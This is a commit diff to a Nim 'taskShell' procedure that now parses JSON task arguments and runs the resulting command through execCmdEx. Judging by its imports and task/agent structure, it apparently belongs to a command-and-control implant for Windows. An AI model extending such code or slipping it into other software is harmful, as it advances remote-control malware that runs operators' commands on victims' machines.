Updated task structure to use a JSON string instead of seq[string], making it possible to use multiple differently typed arguments
This commit is contained in:
@@ -1,13 +1,19 @@
|
||||
import winim, osproc, strutils, strformat, base64
|
||||
import winim, osproc, strutils, strformat, base64, json
|
||||
|
||||
import ../types
|
||||
|
||||
proc taskShell*(task: Task): TaskResult =
|
||||
|
||||
echo "Executing command: ", task.args.join(" ")
|
||||
# Parse arguments JSON string to obtain specific values
|
||||
let
|
||||
params = parseJson(task.args)
|
||||
command = params["command"].getStr()
|
||||
arguments = params["arguments"].getStr()
|
||||
|
||||
echo fmt"Executing command {command} with arguments {arguments}"
|
||||
|
||||
try:
|
||||
let (output, status) = execCmdEx(task.args.join(" "))
|
||||
let (output, status) = execCmdEx(fmt("{command} {arguments}"))
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
|
||||
Reference in New Issue
Block a user